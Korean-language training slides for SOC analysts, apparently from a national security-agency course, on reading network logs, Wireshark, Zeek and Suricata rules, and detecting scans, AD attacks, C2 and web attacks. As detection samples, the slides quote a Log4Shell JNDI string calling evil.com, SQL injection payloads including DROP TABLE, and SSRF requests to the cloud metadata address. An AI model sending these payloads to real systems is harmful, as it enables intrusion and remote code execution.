① 매일 Flow 로그 10줄씩 판단 연습 ② CTF 네트워크 문제 ③ Malware-Traffic-Analysis.net pcap 분석 ④ 오픈소스 데이터셋으로 Zeek 실습

Q25. EDR과 네트워크 분석을 어떻게 연결하나요?

EDR에서 프로세스가 어떤 IP/도메인에 연결했는지 확인하고, 그 IP를 Flow/DNS 로그와 교차 확인합니다. 프로세스-네트워크 연결이 사건 재구성의 핵심입니다.

Q26. 이 모듈을 마친 후 가장 중요한 다음 단계는?

실제 로그를 보고 판단문을 매일 쓰는 훈련입니다. 이론을 알아도 반복하지 않으면 현장에서 느려집니다. 하루 30분 로그 읽기가 1년 후의 실력을 결정합니다.

부록 E. 수강생 자가 점검 체크리스트

이 모듈을 제대로 이해했는지 스스로 확인하는 30개 항목

부록 E · 체크리스트

Part 1~3 기초 개념

☐ IP를 SOC 관점에서 설명할 수 있다

☐ Destination Port가 왜 중요한지 안다

☐ TCP와 UDP의 차이를 설명할 수 있다

☐ 3-way Handshake 3단계를 말할 수 있다

☐ SYN/ACK/FIN/RST의 의미를 안다

☐ conn_state SF/S0/REJ를 해석할 수 있다

☐ Session과 Flow의 차이를 설명할 수 있다

☐ Upload vs Download 방향성을 해석할 수 있다

☐ 내부/외부 IP를 구분하고 맥락화할 수 있다

☐ NAT가 분석에 미치는 영향을 안다

Part 4~6 프로토콜 분석

☐ Flow 8개 핵심 필드를 안다

☐ Zeek conn.log 한 줄을 해석할 수 있다

☐ DNS 이상 탐지 4가지를 설명할 수 있다

☐ NXDOMAIN 폭발과 DGA를 연결할 수 있다

☐ DNS Tunneling 특징을 설명할 수 있다

☐ HTTP Method + Status Code로 행위를 읽을 수 있다

☐ 404 급증이 웹 스캐닝을 의미하는 이유를 안다

☐ User-Agent 이상 패턴 3가지를 말할 수 있다

☐ HTTPS에서 메타데이터로 분석하는 방법을 안다

☐ Self-signed 인증서가 왜 의심스러운지 안다

Part 7~9 공격 패턴 & 실습

☐ Port Scan 패턴을 Flow에서 식별할 수 있다

☐ Brute Force 전조 신호를 설명할 수 있다

☐ Beaconing 특징 5가지를 말할 수 있다

☐ Data Exfiltration을 Upload 방향으로 탐지한다

☐ 복합 공격 타임라인을 Kill Chain으로 매핑한다

☐ 6가지 도구의 역할 차이를 설명할 수 있다

☐ Alert Triage 5단계를 실행할 수 있다

☐ FP와 TP를 구분하는 근거를 제시할 수 있다

☐ Fact+Pattern+Context+Action 판단문을 작성할 수 있다

☐ 복합 케이스에서 첫 번째 조치를 결정할 수 있다

체크되지 않은 항목이 있다면? → 해당 Part의 슬라이드와 부록을 다시 복습하고, 실습 케이스를 한 번 더 풀어보세요.

Module 3 중간점검

수고하셨습니다.
네트워크가 말을 걸어올 때,
이제 답할 수 있습니다.

패킷은 단순한 비트열이 아닙니다. 시스템 간의 대화입니다.
그 대화를 읽을 수 있는 분석가가 되셨습니다.

다음 단계

Module 3 - 심화·TCP 분석

복습 자료

부록 A~E · 용어집 & 체크리스트

🌐

(주)아울네스트

한국인터넷진흥원 발주 · 2026

✓

보강 설명수고하셨습니다. 네트워크가 말을 걸어올 때, 이제 답할 수 있습니다. 전체 흐름을 한눈에 잡아 주는 시작 슬라이드다. 이번 모듈은 네트워크 흔적을 보고 이상 여부를 설명하는 실무 감각을 만드는 데 초점을 둔다.

전체 구조학습 목표실무 연결

이번 모듈의 포인트

IP·Port·Protocol을 외우는 수준을 넘어 연결의 의미를 읽는 감각 만들기
DNS·HTTP·Flow·TLS를 묶어 하나의 사건 흐름으로 해석하기
관찰 사실을 운영 가능한 판단문으로 정리하는 연습 포함

수업 중 계속 물어야 할 질문

누가 어디로 어떤 방식으로 통신했는가
이 연결은 자산 역할과 시간대 기준으로 자연스러운가
추가로 붙여야 할 로그와 즉시 조치는 무엇인가

학습 산출물

공격 패턴별 탐지 포인트 치트시트
실습 로그 기반 판단문 초안
후속 Module에서 바로 쓸 수 있는 네트워크 분석 프레임

TCP Flags 심화: 비정상 조합이 공격 신호다

정상 TCP는 정해진 순서로 플래그를 사용한다. 그 순서를 벗어나는 조합은 스캐닝 또는 회피 시도일 수 있다.

심화 · TCP 분석

스캔 종류	Flags	목적	탐지
SYN Scan	SYN	열린 포트 탐색	S0 다량
NULL Scan	없음(0)	방화벽 우회	응답 없는 패킷
Xmas Scan	FIN+PSH+URG	크리스마스 트리형	비정상 조합
FIN Scan	FIN만	세션 없이 FIN	SYN 없이 FIN
ACK Scan	ACK만	방화벽 규칙 매핑	SYN 없이 ACK
SYN+FIN	SYN+FIN	정상에서 불가능	즉시 이상

Xmas Scan 패킷

Flags: FIN + PSH + URG TCP Seq: 0 Data: 없음 (0 bytes) → 포트 닫힘: RST 응답 → 포트 열림: 응답 없음

⚠️ Xmas/NULL Scan은 일부 오래된 시스템에서만 효과적. 현대 OS는 대부분 RST로 응답하지만 Scan 시도 자체가 정찰 증거

📌 탐지 규칙

SYN 없이 FIN, SYN+FIN 동시 설정, PSH+URG+FIN 조합 → 즉시 IDS 경보 대상. Wireshark 필터: tcp.flags == 0x000 or tcp.flags.fin==1 and tcp.flags.syn==1

ICMP: 진단 도구의 두 얼굴

ICMP는 네트워크 진단에 쓰이지만, 정찰과 데이터 은닉에도 악용된다. Type/Code 조합이 핵심이다.

심화 · ICMP 분석

ICMP 주요 Type/Code

Type	Code	의미	SOC 관점
0	0	Echo Reply (Ping 응답)	정상 진단
3	0-15	Destination Unreachable	포트 닫힘 신호
8	0	Echo Request (Ping)	대량 시 Sweep
11	0	TTL Exceeded	traceroute 정상
8	0	대량 + 큰 데이터	ICMP Tunneling 의심

ICMP 이상 패턴

Ping Sweep: 동일 /24 대역에 ICMP 대량 → 호스트 탐색
ICMP Payload가 비정상적으로 큼 (>64 bytes)
Payload에 Base64/구조적 데이터 → Tunneling

ICMP Tunneling 원리

ICMP Echo Request/Reply의 Payload에 데이터 삽입
방화벽이 ICMP를 허용하면 데이터 은닉 채널 형성
도구: ptunnel, icmptunnel, Pingtunnel 등
탐지: Payload 크기 이상 + 빈도 분석

# 정상 ping payload 크기 ICMP Echo data_len=56 ← 정상 # 의심 ICMP payload ICMP Echo data_len=1400 ← 이상! Payload: SGVsbG8gV29ybGQ=...

ARP 분석: 내부망 공격의 전조를 찾아라

ARP는 내부망 통신의 기반이다. ARP 테이블이 오염되면 내부 트래픽 전체가 공격자를 통과하게 된다.

심화 · ARP 분석

ARP 동작 원리

"10.0.0.1의 MAC 주소는?" → 브로드캐스트
해당 호스트가 MAC으로 응답
결과를 ARP 테이블에 캐시
인증 없음 → 누구든 위조 응답 가능

ARP Spoofing 공격

공격자가 위조 ARP 브로드캐스트: "10.0.0.1(게이트웨이)의 MAC = AA:BB:CC(공격자)" "10.0.0.20(서버)의 MAC = AA:BB:CC(공격자)" → 모든 트래픽이 공격자를 통과 (MiTM)

ARP 이상 탐지 신호

Gratuitous ARP 대량: 요청 없이 응답만 보냄
동일 IP에 다른 MAC: ARP 테이블 변경 감지
게이트웨이 IP가 다른 MAC: 즉각 조사
ARP 패킷 빈도 급증: ARP Flood (서비스 방해)

대응 방법

Dynamic ARP Inspection (DAI) — 스위치 레벨 검증
Static ARP Entry — 중요 서버 MAC 고정
Zeek arp.log 모니터링

TTL로 경유지와 OS를 추측한다

TTL은 패킷 수명이지만, 수신된 값에서 출발지 OS 유형과 경유 홉 수를 추측할 수 있다. 위조도 가능하다.

심화 · TTL 분석

OS별 초기 TTL 값

OS	초기 TTL	수신 예시 (홉 5)
Linux	64	59
Windows	128	123
Cisco IOS	255	250
macOS	64	59

수신된 TTL = 초기 TTL - 경유 홉 수

💡 추측 공식: 수신 TTL 59 → 가장 가까운 2의 배수 64 → Linux 64 → 홉 수 = 5

TTL 이상 패턴

TTL = 1: 로컬 네트워크 기반 패킷 (traceroute 또는 로컬 전용)
같은 IP, TTL 변동: 다른 경로 또는 위조 의심
비정상 초기값: OS Fingerprint 위조 도구 사용 가능성
예측 불가 TTL 패턴: 패킷 조작 의심

# Wireshark 필터: TTL 이상 감지 ip.ttl == 1 # 로컬 전용 ip.ttl < 5 # 매우 낮은 TTL ip.ttl > 200 # Cisco/특이 소스

패킷 단편화(Fragmentation): 회피 기법으로도 쓰인다

MTU 초과 시 정상 단편화가 발생하지만, 의도적 단편화는 IDS 시그니처와 방화벽 우회에 악용된다.

심화 · 패킷 분석

정상 단편화 발생 조건

전송 데이터가 MTU(이더넷 기본 1500B) 초과
라우터가 패킷을 여러 조각으로 분리
목적지에서 재조합하여 처리
IP Header의 MF(More Fragments) 플래그 사용

악의적 단편화 공격

Tiny Fragment: TCP 헤더를 2개 이상으로 쪼개 IDS 분석 방해
Overlapping Fragment: 재조합 시 공격 코드 활성화
Teardrop: 겹치는 오프셋으로 OS 재조합 버그 유발 (DoS)

# 정상 단편화 Fragment 1: IP MF=1 offset=0 Fragment 2: IP MF=0 offset=184 # 의심 단편화 (Tiny Fragment) Fragment 1: IP MF=1 offset=0 len=8 Fragment 2: IP MF=0 offset=1 len=28 TCP 헤더가 2개 조각에 쪼개짐 → IDS 우회

⚠️ 현대 IDS/NGFW는 단편화 재조합 후 검사(Deep Packet Inspection)로 대응. 하지만 레거시 환경에서는 여전히 위협.

IPv6: 보안 분석가가 알아야 할 핵심

IPv6를 모니터링하지 않으면 공격자가 IPv6를 통해 IPv4 정책을 우회할 수 있다. 전환 메커니즘이 특히 위험하다.

심화 · IPv6 분석

IPv6 기본 특성 (SOC 관점)

128bit 주소 (fe80::, 2001:db8:: 등)
링크-로컬 주소 (fe80::) → 라우터 없이 내부 통신 가능
SLAAC: 자동 주소 설정 → 관리 어려움
IPv4 전용 방화벽은 IPv6 트래픽 무시

IPv6 우회 기법

Teredo / 6to4: IPv6를 UDP로 캡슐화 → IPv4 방화벽 우회
IPv6 터널: 조직이 모니터링 못하는 채널
링크-로컬 C2: 내부망에서 IPv6로만 통신

SOC에서 IPv6 모니터링

Zeek는 IPv6를 자동 지원 — conn.log에 IPv6 포함
예상치 않은 fe80:: 트래픽 → 내부 정찰 가능
SIEM에서 IPv6 트래픽 필터링 제외하지 말 것
Teredo(UDP 3544), 6in4(IP proto 41) 모니터링

⚠️ 많은 조직이 IPv6를 비활성화하지 않고 방치 → 공격자가 이미 내부에서 IPv6를 사용 중일 수 있음. 지금 당장 IPv6 로그가 수집되는지 확인하라.

네트워크 계층별 분석 전략

어떤 계층에서 이상이 발생하는지 알면 어떤 도구와 어떤 필터를 써야 하는지가 자동으로 정해진다.

심화 · 계층 분석

계층	프로토콜	주요 이상 신호	분석 도구
L2 (데이터링크)	ARP, Ethernet	ARP Spoofing, MAC Flooding	Wireshark, arp.log
L3 (네트워크)	IP, ICMP, IPv6	단편화 공격, TTL이상, Ping Sweep	Zeek, Wireshark
L4 (전송)	TCP, UDP	비정상 Flags, Port Scan, SYN Flood	conn.log, IDS
L5-6 (세션/표현)	TLS, SSL	Self-signed, JA3 이상, 만료 인증서	ssl.log, Zeek
L7 (응용)	DNS, HTTP, SMTP	NXDOMAIN, 웹쉘, 스팸, C2 명령	dns.log, http.log, Proxy

분석 방향 원칙

L7(DNS/HTTP)에서 출발 → 목적지 식별
L4(Flow)에서 패턴 확인 → 빈도/방향
L3/L2로 내려가면 → 구체 기술 검증

계층 간 교차 확인

L7 DNS 이상 → L4 Flow로 빈도 확인
L4 SYN Flood → L3 Source IP 확인
L5 Self-signed → L7 도메인 확인

📌 핵심

어느 계층에서 신호가 왔든, 위아래 계층을 함께 봐야 전체 그림이 나온다.

Wireshark 실전: 현장에서 바로 쓰는 핵심 필터

올바른 필터 없이는 Wireshark는 역효과. 상황별 필터 분류를 암기가 아닌 참조표로 활용하자.

도구 심화 · Wireshark

🔵 기본 Host/Port 필터

# 특정 IP 필터 ip.addr == 10.0.0.22 ip.src == 203.0.113.88 ip.dst == 192.168.1.0/24 # 포트 필터 tcp.port == 443 udp.port == 53 tcp.dstport == 22

🟢 프로토콜/서비스 필터

dns # DNS 전체 http # HTTP 전체 tls # TLS/HTTPS icmp # ICMP arp # ARP smtp # 이메일

🔴 공격 탐지 필터

# SYN Scan 탐지 tcp.flags.syn==1 and tcp.flags.ack==0 # 비정상 Flag tcp.flags == 0x000 # NULL tcp.flags == 0x029 # Xmas # NXDOMAIN dns.flags.rcode == 3 # 큰 DNS 쿼리 (Tunneling) dns and frame.len > 200 # HTTP POST (웹쉘 의심) http.request.method == "POST"

💡 Follow TCP Stream: 특정 세션 우클릭 → Follow → TCP Stream으로 전체 대화 한눈에 보기

Zeek 실전: 커스텀 탐지 로직 작성 기초

Zeek 스크립트로 반복 탐지 로직을 자동화할 수 있다. event handler 구조만 이해해도 기존 스크립트를 활용할 수 있다.

도구 심화 · Zeek

Zeek 스크립트 기본 구조

# NXDOMAIN 탐지 스크립트 예시 event dns_query_reply(c: connection, msg: dns_msg, ...) { if (msg$rcode == 3) # NXDOMAIN { NOTICE([ $note=DNS_NXDOMAIN, $msg=fmt("NXDOMAIN: %s", c$id$orig_h), $conn=c ]); } }

주요 event 타입

Event	트리거 시점
new_connection	새 TCP/UDP 연결 생성
connection_state_remove	연결 종료
dns_request	DNS 쿼리 발생
http_request	HTTP 요청
ssl_client_hello	TLS 핸드셰이크 시작

💡 Zeek 스크립트를 직접 쓰기 어려우면 Zeek Package Manager(zkg)에서 커뮤니티 스크립트를 설치해 즉시 사용 가능

Zeek 스크립트 입문: zeek.org/documentation — Scripts 섹션에서 예제 스크립트 50개 이상 제공

Suricata IDS 룰 작성 기초

룰 구조를 이해해야 오탐 튜닝과 커스텀 탐지가 가능하다. Action + Header + Options 세 파트를 잡아라.

도구 심화 · Suricata

룰 기본 구조

# 형식: action proto src_ip src_port -> dst_ip dst_port (options) alert tcp any any -> $HOME_NET 22 ( msg:"ET SCAN SSH BruteForce"; flow:to_server,established; content:"SSH-"; threshold:type both, track by_src, count 5, seconds 60; sid:9000001; rev:1; )

주요 룰 옵션

옵션	설명
content	페이로드 문자열 매칭
pcre	정규표현식 매칭
threshold	임계값 기반 알람
flow	연결 방향/상태
noalert	탐지만, 알람 없음
priority	심각도 1(높음)~4

⚠️ 오탐 튜닝 팁: 룰 trigger_count를 올리거나 예외 IP를 suppress로 제외. suppress list: alert → suppressed for src IP 10.0.0.100

네트워크 포렌식: 증거 수집과 보전 원칙

사고 후 네트워크 증거를 올바르게 수집·보전해야 법적 증거력과 분석 가능성이 유지된다.

심화 · 네트워크 포렌식

네트워크 증거 유형

Packet Capture (pcap) — 가장 상세, 보관 비용 높음
Flow 로그 — 요약 데이터, 장기 보관 용이
DNS/Proxy/Firewall 로그 — 이미 수집 중인 경우 많음
IDS Alert 로그 — 시그니처 탐지 이력

증거 수집 주의사항

타임스탬프 신뢰성 확인 (NTP 동기화 여부)
원본 파일 해시값(MD5/SHA256) 기록
수집 장비와 수집 방법 문서화
Chain of Custody 문서 작성

pcap 수집 명령어

# tcpdump로 pcap 수집 tcpdump -i eth0 -w /evidence/capture.pcap tcpdump -i eth0 host 10.0.0.22 -w bad_host.pcap # 파일 해시 기록 sha256sum capture.pcap > capture.pcap.sha256 # 시간 확인 date -u && ntpq -p

💡 실시간 캡처가 불가능하면 기존 Flow/DNS/Firewall 로그의 보관 기간 확인이 첫 번째 할 일. 로그가 덮어쓰이기 전에 백업.

타임스탬프 분석: 사건 타임라인 재구성 원칙

여러 소스의 로그를 합칠 때 타임스탬프 오차를 무시하면 잘못된 인과관계가 만들어진다.

심화 · 타임라인 분석

타임스탬프 오차 원인

NTP 미동기: 로컬 시스템 시계 드리프트
시간대 혼용: KST(UTC+9) vs UTC 혼재
DST(서머타임): 해외 시스템과 교차 분석 시
로그 수집 지연: 에이전트 버퍼링으로 기록 시각 ≠ 발생 시각

오차 미보정 시 문제

IDS Alert: 10:25:00 KST Firewall log: 01:25:03 UTC ↑ 실제로는 같은 시각 (KST = UTC+9) 오차 미인지 시 → 9시간 차이로 오해

타임라인 재구성 원칙

모든 타임스탬프를 UTC로 통일 후 정렬
각 소스의 NTP 상태 먼저 확인
시스템별 오차값(±N초)을 명시
동일 이벤트가 여러 소스에서 보이면 교차 검증

💡 도구: log2timeline(Plaso) — 여러 소스 로그를 하나의 타임라인으로 통합. SIEM의 시간 정규화 기능 활용 권장.

트래픽 기준선(Baseline) 수립이 이상 탐지의 기반이다

무엇이 정상인지 알아야 무엇이 이상한지 알 수 있다. 기준선 없는 탐지 룰은 오탐의 원인이 된다.

심화 · 이상 탐지

기준선 수립 항목

항목	측정 지표
트래픽 볼륨	시간대별 평균 bps/pps
세션 수	시간당 평균 연결 수
DNS 조회	분당 평균 쿼리 수
업로드 비율	다운로드 대비 업로드 비율
외부 목적지	자주 접속하는 상위 도메인/IP
포트 분포	사용 포트 분포 (80/443/22 등)

기준선 활용 방법

임계값 = 평균 + (표준편차 × N배)
일반적으로 N=3: 99.7% 정상 포함, 이 이상이면 이상
업무일 vs 주말/야간 별도 기준선 필요
기준선은 주기적 재계산 (계절/프로젝트 변화 반영)

⚠️ 기준선 없이 "평소보다 많다"는 느낌으로 탐지하면 오탐이 50% 이상. 숫자 기준을 먼저 만들어야 신뢰할 수 있는 Alert가 가능하다.

이메일 기반 공격의 네트워크 흔적

이메일은 초기 침투의 왕. SMTP/IMAP 이상 패턴을 Network Layer에서 탐지하면 피싱과 악성 첨부파일을 조기 포착할 수 있다.

심화 · 이메일 분석

이메일 프로토콜 포트

포트	프로토콜	용도
25	SMTP	서버 간 전송 (스팸 발송 경로)
587	SMTP	클라이언트 인증 발송
993	IMAPS	암호화 이메일 수신
995	POP3S	암호화 이메일 다운로드

이메일 이상 패턴

내부 서버에서 외부 25/587 직접 발송 → 스팸 경유 의심
SMTP 대량 연결 + 짧은 세션 → 스팸 캠페인
알 수 없는 외부 메일서버에서 대량 수신

피싱 탐지 포인트

이메일 내 URL 클릭 후 알 수 없는 도메인 접속
첨부파일 다운로드 직후 비정상 DNS 조회
매크로 실행 후 PowerShell + 외부 연결
첨부 오피스 파일 → 외부 C2 다운로드 시도

피싱 이메일 수신

→

URL 클릭

→

악성 스크립트 다운로드

→

C2 Beaconing 시작

SMB: 내부 확산의 고속도로

SMB(445)는 윈도우 파일 공유의 핵심이지만, 내부 확산 공격의 가장 자주 쓰이는 경로이기도 하다. EternalBlue가 대표 사례.

심화 · SMB 분석

SMB 기본 특성 (SOC 관점)

TCP 445: SMB 직접 접속
TCP 139: NetBIOS over TCP (구형)
윈도우 도메인 환경에서 필수 프로토콜
외부에서 445 오픈은 매우 위험 — 즉시 차단 대상

SMB 공격 탐지 신호

내부 호스트에서 대량 SMB 연결 시도
SMB AUTH 실패 다수 + 성공 → Brute Force
DC 외에서 SMB 트래픽 급증 → 내부 확산
외부 IP → 445 직접 연결 → 즉시 차단

랜섬웨어 + SMB 패턴

감염 호스트 → 내부 /24 전체 SMB 스캔
취약 호스트에 자동 확산
공유 폴더 탐색 → 파일 암호화
Flow에서: 단일 Src가 다수 내부 445 접근

⚠️ 내부망에서 SMB 스캔 탐지 시 → 즉각 격리 우선. 확인 후 처리하는 사이에 수십 대가 감염될 수 있음.

RDP 분석: 원격 관리의 양날의 검

RDP는 관리에 필수지만, 외부에 노출된 RDP는 가장 많이 공격받는 서비스다. 모니터링 방법을 알아야 한다.

심화 · RDP 분석

RDP 정상 vs 이상 패턴

특성	정상	이상
출발지	알려진 내부/VPN IP	신규 외부 IP
시간대	업무시간	야간/주말
인증 시도	1-3회	반복 실패
세션 후 행동	정상 업무	SMB 스캔, 파일 대량 접근

💡 원칙: 외부에서 RDP는 VPN 통과 후에만. 직접 노출된 3389는 즉각 방화벽 차단 대상.

RDP 공격 유형

Brute Force: 반복 인증 시도 (가장 흔함)
BlueKeep(CVE-2019-0708): 인증 전 RCE 취약점
RDP Hijacking: 기존 세션 탈취
Pass-the-Hash via RDP: 해시로 인증 우회

# 외부 RDP 브루트포스 Flow 패턴 185.x.x.10 → 203.0.x.5:3389 FAIL×142 185.x.x.10 → 203.0.x.5:3389 SUCCESS 성공 직후: 내부 SMB 스캔 시작

Kerberos: Active Directory 공격의 네트워크 흔적

Kerberoasting, Pass-the-Ticket, Golden Ticket — AD 공격은 Kerberos(88) 트래픽 이상으로 탐지할 수 있다.

심화 · Kerberos 분석

Kerberos 기본 흐름

1. Client → KDC:88 AS-REQ (TGT 요청) 2. KDC → Client AS-REP (TGT 발급) 3. Client → KDC:88 TGS-REQ (서비스 티켓) 4. KDC → Client TGS-REP (서비스 티켓) 5. Client → Server AP-REQ (서비스 접근)

Kerberos 공격 탐지 신호

Kerberoasting: 다수 서비스 계정 TGS 요청 급증
AS-REP Roasting: Pre-auth 없는 계정 대상 대량 AS-REQ
Golden Ticket: 유효기간 비정상 긴 TGT (20년 등)
Pass-the-Ticket: 비정상 시간/IP에서 티켓 사용

네트워크 탐지 방법

KDC(88)로의 비정상 대량 TGS-REQ → Kerberoasting
도메인 컨트롤러 외 IP가 Kerberos 발행 → 의심
Ticket 만료 시간 비정상 → Golden Ticket 가능
Zeek kerberos.log 활용: req_type, success, error_msg

💡 Zeek kerberos.log의 service 필드에서 동일 Src가 다수 서비스 계정을 연속 요청하는 패턴 → Kerberoasting 조사 트리거

LDAP 쿼리: Active Directory 계정 열거 탐지

LDAP(389/636)는 AD 디렉터리 조회 프로토콜. 공격자는 이를 통해 조직 전체 계정/권한 구조를 정찰한다.

심화 · LDAP 분석

정상 LDAP vs 공격 LDAP

특성	정상	공격(열거)
쿼리 수	낮음, 특정 객체	수천 건, 전체 스캔
쿼리 주체	서비스 계정	일반 사용자 계정
요청 범위	특정 그룹/사용자	*(모두) 필터
시간대	업무시간	비업무, 반복 자동

BloodHound 사용 탐지

BloodHound: AD 관계 시각화 공격 도구
대량 LDAP 쿼리 (모든 사용자/그룹/GPO)
짧은 시간 내 DC에 수천 건 LDAP 요청
쿼리에 (objectClass=*) 필터 포함

# Zeek ldap.log 이상 패턴 10.0.1.88 → DC:389 count=2843 in 60s filter: (objectClass=user) filter: (objectClass=group) → BloodHound 실행 패턴 강력 의심

SQL Injection의 네트워크 흔적

SQLi는 앱 레이어 공격이지만 Proxy 로그와 IDS에서 URL 패턴, 에러 응답, UA로 탐지 가능하다.

심화 · 웹 공격 분석

SQLi URL 패턴

# 수동 시도 GET /product?id=1' OR '1'='1 GET /user?id=1; DROP TABLE users-- # SQLMap 자동화 GET /product?id=1 AND 1=1 GET /product?id=1 AND 1=2 GET /product?id=1 UNION SELECT null,null-- UA: sqlmap/1.7.x (https://sqlmap.org)

탐지 시그널

URL에 SQL 키워드: UNION, SELECT, DROP, OR, AND
URL에 특수문자: 단따옴표('), 이중하이픈(--), 세미콜론(;)
500 에러 연속 + 동일 Src → 에러 기반 SQLi
응답 크기 갑자기 증가 → 데이터 추출 성공
SQLMap UA: sqlmap/x.x

⚠️ URL 인코딩(%27 = ', %20 = space)으로 시그니처 우회 시도 → WAF와 IDS는 URL 디코딩 후 검사가 필요.

SSRF와 Log4Shell: 현대 공격의 네트워크 흔적

SSRF는 서버의 내부 요청을 악용하고, Log4Shell은 로그를 통해 JNDI를 실행한다. 둘 다 비정상 아웃바운드 연결로 탐지된다.

심화 · 현대 웹 공격

SSRF (Server-Side Request Forgery)

공격자가 서버에게 내부 URL을 조회하게 만듦
AWS 메타데이터 탈취: 169.254.169.254/latest/meta-data/
내부 서비스 정찰, 방화벽 우회

GET /?url=http://169.254.169.254/latest/ GET /?url=http://internal-db:3306 → 웹서버가 내부로 아웃바운드 연결 생성

Log4Shell (CVE-2021-44228)

HTTP 헤더 등에 ${jndi:ldap://evil.com/x} 삽입
Log4j가 이를 로그로 기록하며 JNDI 조회 실행
원격 서버에서 Java 클래스 로드 → RCE

User-Agent: ${jndi:ldap://evil.com/a} → 서버에서 evil.com:389(LDAP) 아웃바운드 발생 → 내부 서버 → 외부 LDAP 연결 = 이상 신호

🚨 웹서버가 외부 LDAP(389) 또는 RMI(1099)에 아웃바운드 연결 → Log4Shell 즉시 조사

C2 프레임워크 분석: Cobalt Strike와 Metasploit

침투테스트 도구이지만 공격자도 쓴다. 네트워크 지문(fingerprint)을 알면 C2 트래픽 식별이 가능하다.

심화 · C2 분석

Cobalt Strike Beacon 특징

기본 설정: HTTPS 443 또는 HTTP 80 사용
Sleep Time: 기본 60초 (수정 가능)
Jitter: 0~100% 변동 추가 가능
고유 JA3 Fingerprint: DB에서 매칭 가능
Malleable C2 Profile: 정상 사이트처럼 위장 가능

Cobalt Strike 탐지 신호

알려진 Cobalt Strike JA3/JA3S 매칭
Self-signed 인증서 + *.evil.com 패턴
HTTP GET/POST 규칙적 반복 + 특이 URI 패턴

Metasploit 기본 패턴

기본 리버스 쉘: TCP 4444 (노출도 높음)
Meterpreter: HTTPS 443 또는 커스텀
Staged payload: 2단계 다운로드 패턴

# 기본 Reverse Shell 패턴 내부 호스트 → 공격자:4444 TCP 즉각적인 세션 유지 + 명령 왕복

💡 C2 탐지 리소스: abuse.ch JA3 DB, Shodan Cobalt Strike scanner, ET Pro Cobalt Strike 룰셋

클라우드 네트워크 분석: AWS VPC Flow Logs

온프레미스 Zeek conn.log와 유사하지만 차이가 있다. VPC Flow Logs 구조를 알면 클라우드 이상 탐지가 가능하다.

심화 · 클라우드 분석

VPC Flow Log 필드

# version account-id interface-id srcaddr dstaddr # srcport dstport protocol packets bytes start end action 2 123456789 eni-abc 10.0.1.5 203.0.113.10 52341 443 6 15 8920 1720000000 1720000010 ACCEPT OK 10.0.1.5 52342 10.0.2.100 3306 REJECT

클라우드 이상 탐지 포인트

REJECT 급증: Security Group 정책 우회 시도
IGW(인터넷 게이트웨이) → 내부 직접 접근: 비정상 인바운드
EC2에서 외부 비정상 아웃바운드: C2 의심
메타데이터 IP(169.254.169.254) 접근 급증 → SSRF 의심

💡 AWS Athena + VPC Flow Logs: SQL 쿼리로 "어떤 EC2가 어떤 외부 IP에 가장 많은 데이터를 보냈는가?" 즉시 분석 가능

📌 핵심 차이점

VPC Flow Logs는 ACCEPT/REJECT 여부가 명시적으로 기록됨. Zeek는 conn_state로 유추. 클라우드에서는 이 정보가 더 명확한 탐지 근거가 된다.

컨테이너/쿠버네티스 네트워크 분석

Pod 간 통신은 가상 네트워크에서 일어난다. 기존 방법으로 볼 수 없는 영역을 알아야 사각지대를 줄일 수 있다.

심화 · 클라우드/컨테이너

컨테이너 네트워크 특징

Pod는 고유 IP를 가짐 (클러스터 내부 가상 IP)
Service: Pod 앞에 로드밸런서 역할
Network Policy: Pod 간 방화벽 역할
모든 Pod 간 통신은 기본 허용 (정책 없을 때)

컨테이너 이상 탐지 포인트

Pod가 클러스터 외부에 비정상 아웃바운드 생성
컨테이너 탈출 후 노드 IP에서 외부 통신
Kubernetes API 서버(6443)에 비정상 접근
etcd(2379/2380) 직접 접근 → 즉각 조사

분석 도구와 접근

Falco: 런타임 비정상 시스템 호출 탐지
Cilium Hubble: eBPF 기반 Pod 간 네트워크 가시성
Zeek on node: 노드 레벨 트래픽 캡처
NetworkPolicy 없는 Namespace → 즉각 격리 검토

⚠️ 컨테이너 환경에서 기존 Firewall 로그로는 Pod 간 통신이 보이지 않는다. eBPF 기반 도구나 Service Mesh(Istio) 로그가 필요.

Threat Hunting 기초: Alert를 기다리지 말고 먼저 찾아라

Threat Hunting은 SIEM 경보 없이도 가설 기반으로 네트워크에서 위협을 찾는 능동적 분석 활동이다.

심화 · Threat Hunting

Hunting 프로세스

1단계가설 수립: "우리 환경에 Beaconing이 있을 수 있다"

2단계데이터 수집: Flow + DNS 30일치 쿼리

3단계패턴 분석: 시간 간격 표준편차 계산

4단계이상 발견 → 조사 → 결론 (FP or TP)

네트워크 Hunting 가설 예시

"비업무 시간 외부 통신 중 규칙적인 것이 있다" → Beaconing
"내부 서버가 외부 DNS 직접 쓰는 경우가 있다" → Tunneling
"DB 서버가 외부와 직접 통신하는 경우가 있다" → 유출
"도메인 컨트롤러가 비정상 요청을 받는다" → AD 공격

💡 MITRE ATT&CK 네트워크 전술을 기준으로 가설을 수립하면 Coverage가 높아진다. TA0011(C2), TA0010(Exfil) 부터 시작하는 것을 추천.

SIEM 상관관계 규칙 작성 기초

단순 임계값을 넘어 여러 이벤트를 시간 창 안에서 조합하면 오탐이 줄고 확신도가 높아진다.

심화 · SIEM 규칙

상관관계 규칙 구성 요소

이벤트 타입: 어떤 소스의 어떤 이벤트를 볼 것인가
시간 창(Time Window): 몇 분/시간 안에 발생해야 하는가
집계 키: src_ip별, user별, host별 카운트
임계값: N회 이상이면 Alert
복합 조건: A 이벤트 후 B 이벤트 시 Alert

# Brute Force → 성공 탐지 규칙 (의사코드) RULE "SSH BruteForce Success" WHEN: event_type = SSH_FAILURE count(by src_ip, dst_ip) >= 10 within 5 minutes THEN WITHIN 10 minutes: event_type = SSH_SUCCESS same src_ip, dst_ip ALERT: HIGH — BruteForce + Success

이 규칙은 실패 단독 Alert보다 오탐이 훨씬 낮다. 성공 없는 실패는 노이즈일 수 있지만, 성공이 따라오면 즉각 행동 필요.

실전 SIEM 네트워크 탐지 규칙 5가지

이 구조를 이해하면 같은 패턴으로 조직 환경에 맞는 커스텀 규칙을 만들 수 있다.

심화 · SIEM 규칙

규칙 1. C2 Beaconing 탐지

조건: 동일 Src-Dst 쌍, 60초 ± 20% 간격 반복 10회 이상, 야간 시간대, Bytes_out < 1KB

규칙 2. Port Scan 탐지

조건: 단일 Src, 10초 내 20개 이상 다른 Dst_Port, S0/REJ 비율 > 80%, Bytes = 0

규칙 3. DGA/DNS 이상 탐지

조건: 단일 호스트, 1분 내 NXDOMAIN 15개 이상, 도메인 엔트로피 점수 높음(.xyz/.top 비율 >50%)

규칙 4. 데이터 유출 탐지

조건: 내부 호스트 Upload Bytes > 평균 × 10, 목적지 = 클라우드 스토리지 도메인, 야간 시간대

